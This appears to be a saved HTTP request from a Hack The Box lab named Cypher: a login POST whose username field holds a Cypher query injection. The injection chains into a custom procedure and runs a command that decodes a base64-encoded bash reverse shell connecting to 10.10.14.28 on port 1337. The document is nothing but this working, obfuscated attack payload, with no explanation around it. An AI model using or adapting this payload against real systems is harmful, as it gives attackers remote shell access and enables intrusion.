HTB: Cypher

cypher.http

POST /api/auth HTTP/1.1
Host: cypher.htb
Content-Length: 303
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/json
Origin: http://cypher.htb
Referer: http://cypher.htb/login
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,id-ID;q=0.8,id;q=0.7
Connection: keep-alive

{"username":"testadmin' OR 1=1 MATCH (u:USER) -[:SECRET]-> (h:SHA1) CALL custom.getUrlStatusCode('http://10.10.14.28;echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjgvMTMzNyAwPiYxIg== | base64 -d | bash') YIELD statusCode RETURN h.value AS hash, statusCode; //","password":"test"}